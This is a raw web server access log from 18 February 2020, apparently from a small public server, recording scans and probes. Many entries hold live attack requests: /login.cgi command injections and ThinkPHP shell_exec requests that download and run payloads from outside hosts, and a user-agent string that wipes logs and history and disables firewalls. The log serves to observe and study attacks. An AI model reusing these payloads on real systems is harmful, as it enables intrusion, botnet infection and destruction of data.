81.215.212.192 - - [18/Feb/2020:00:41:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.108.251.140 - - [18/Feb/2020:00:42:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
145.220.15.89 - - [18/Feb/2020:00:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
88.224.180.231 - - [18/Feb/2020:00:44:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
84.185.72.170 - - [18/Feb/2020:00:47:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.253.149.209 - - [18/Feb/2020:00:48:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
103.61.101.107 - - [18/Feb/2020:00:50:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
145.220.15.31 - - [18/Feb/2020:00:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
120.146.28.35 - - [18/Feb/2020:00:55:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.206.100.129 - - [18/Feb/2020:00:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.115.40.1 - - [18/Feb/2020:00:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.253.153.70 - - [18/Feb/2020:01:05:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
34.67.90.103 - - [18/Feb/2020:01:05:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.254.150.21 - - [18/Feb/2020:01:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
185.31.163.237 - - [18/Feb/2020:01:16:00 +0100] "POST /images.php HTTP/1.1" 404 315 "-" "curl/7.58.0"
24.85.21.206 - - [18/Feb/2020:01:34:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
221.125.44.233 - - [18/Feb/2020:01:36:34 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
5.190.176.104 - - [18/Feb/2020:01:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
88.237.107.115 - - [18/Feb/2020:01:38:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
222.186.19.221 - - [18/Feb/2020:01:38:45 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [18/Feb/2020:01:39:52 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [18/Feb/2020:01:40:24 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
110.177.79.96 - - [18/Feb/2020:01:40:41 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44"
51.254.59.113 - - [18/Feb/2020:01:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
112.117.103.64 - - [18/Feb/2020:01:41:58 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
110.80.153.235 - - [18/Feb/2020:01:42:01 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
27.224.136.86 - - [18/Feb/2020:01:42:03 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
123.145.0.165 - - [18/Feb/2020:01:42:03 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
111.224.235.247 - - [18/Feb/2020:01:42:04 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
119.39.47.154 - - [18/Feb/2020:01:42:04 +0100] "GET http://10010.ah165.net:8088/hsp/out_of_service.jsp?custcode=055109915138 HTTP/1.0" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
118.81.15.23 - - [18/Feb/2020:01:42:06 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.66.99.32 - - [18/Feb/2020:01:42:07 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
119.39.47.172 - - [18/Feb/2020:01:42:07 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
177.10.46.23 - - [18/Feb/2020:01:42:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
36.78.26.21 - - [18/Feb/2020:01:42:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.32.140.239 - - [18/Feb/2020:01:43:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
139.162.106.181 - - [18/Feb/2020:01:47:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
85.97.196.40 - - [18/Feb/2020:01:51:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
222.186.19.221 - - [18/Feb/2020:01:52:52 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
88.237.107.115 - - [18/Feb/2020:01:54:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
79.35.253.215 - - [18/Feb/2020:01:56:44 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
79.35.253.215 - - [18/Feb/2020:01:56:48 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
222.186.19.221 - - [18/Feb/2020:01:59:21 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [18/Feb/2020:02:06:50 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
35.171.165.104 - - [18/Feb/2020:02:09:51 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
156.238.167.18 - - [18/Feb/2020:02:11:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [18/Feb/2020:02:11:29 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
88.249.134.178 - - [18/Feb/2020:02:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
222.186.19.221 - - [18/Feb/2020:02:13:24 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
188.130.149.65 - - [18/Feb/2020:02:13:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [18/Feb/2020:02:16:37 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
88.218.227.69 - - [18/Feb/2020:02:17:45 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
88.218.227.69 - - [18/Feb/2020:02:17:45 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
219.92.8.120 - - [18/Feb/2020:02:17:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
145.220.15.117 - - [18/Feb/2020:02:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
213.221.32.154 - - [18/Feb/2020:02:21:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
88.237.107.115 - - [18/Feb/2020:02:22:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
145.220.15.203 - - [18/Feb/2020:02:30:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
109.102.226.187 - - [18/Feb/2020:02:34:36 +0100] "GET / HTTP/1.1" 400 6160 "-" "-"
106.104.151.157 - - [18/Feb/2020:02:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
34.92.188.123 - - [18/Feb/2020:02:36:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.237.107.115 - - [18/Feb/2020:02:39:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
195.32.23.152 - - [18/Feb/2020:02:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.235.161.111 - - [18/Feb/2020:02:40:39 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.161.111 - - [18/Feb/2020:02:40:39 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.161.111 - - [18/Feb/2020:02:40:41 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.161.111 - - [18/Feb/2020:02:40:41 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.161.111 - - [18/Feb/2020:02:40:43 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.161.111 - - [18/Feb/2020:02:40:44 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.161.111 - - [18/Feb/2020:02:40:44 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.161.111 - - [18/Feb/2020:02:40:45 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.161.111 - - [18/Feb/2020:02:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
186.155.209.109 - - [18/Feb/2020:02:44:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
145.220.15.26 - - [18/Feb/2020:02:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
98.128.217.99 - - [18/Feb/2020:02:46:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.223.61.206 - - [18/Feb/2020:02:50:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.109.189.152 - - [18/Feb/2020:02:53:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.204.64.17 - - [18/Feb/2020:02:53:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.247.186.179 - - [18/Feb/2020:02:56:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
3.87.162.98 - - [18/Feb/2020:02:57:29 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
213.93.60.132 - - [18/Feb/2020:02:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Java/1.8.0_71"
50.253.33.146 - - [18/Feb/2020:02:59:56 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
78.186.153.65 - - [18/Feb/2020:03:00:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
71.77.51.27 - - [18/Feb/2020:03:00:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
183.105.27.14 - - [18/Feb/2020:03:01:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [18/Feb/2020:03:01:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [18/Feb/2020:03:02:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [18/Feb/2020:03:02:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.114.192.235 - - [18/Feb/2020:03:11:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
167.114.250.111 - - [18/Feb/2020:03:17:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"
66.249.75.31 - - [18/Feb/2020:03:22:30 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.75.31 - - [18/Feb/2020:03:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.75.31 - - [18/Feb/2020:03:25:36 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "-" "Googlebot-Image/1.0"
77.105.29.13 - - [18/Feb/2020:03:29:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
77.105.29.13 - - [18/Feb/2020:03:29:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
134.209.247.103 - - [18/Feb/2020:03:32:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
134.209.247.103 - - [18/Feb/2020:03:32:04 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
92.118.161.33 - - [18/Feb/2020:03:34:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
119.52.212.249 - - [18/Feb/2020:03:37:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
138.185.247.62 - - [18/Feb/2020:03:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
73.33.112.155 - - [18/Feb/2020:03:49:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.31.163.237 - - [18/Feb/2020:03:51:10 +0100] "POST /images.php HTTP/1.1" 404 315 "-" "curl/7.58.0"
198.108.66.161 - - [18/Feb/2020:03:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
71.77.51.27 - - [18/Feb/2020:03:56:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
164.52.24.163 - - [18/Feb/2020:04:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
91.217.63.153 - - [18/Feb/2020:04:01:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.85.91.19 - - [18/Feb/2020:04:03:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.236.10.107 - - [18/Feb/2020:04:06:34 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal.de/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider"
212.252.183.77 - - [18/Feb/2020:04:09:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
61.219.11.153 - - [18/Feb/2020:04:09:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [18/Feb/2020:04:09:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [18/Feb/2020:04:10:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
